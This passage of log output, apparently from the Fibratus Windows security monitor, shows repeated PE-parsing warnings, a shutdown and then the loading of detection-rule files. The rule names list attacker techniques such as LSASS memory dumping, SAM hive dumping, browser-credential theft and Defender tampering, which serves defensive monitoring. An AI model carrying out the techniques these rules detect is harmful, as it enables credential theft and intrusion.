reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:27+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T15:03:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T15:03:28+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T15:03:29+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T15:03:29+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T15:17:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T15:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info 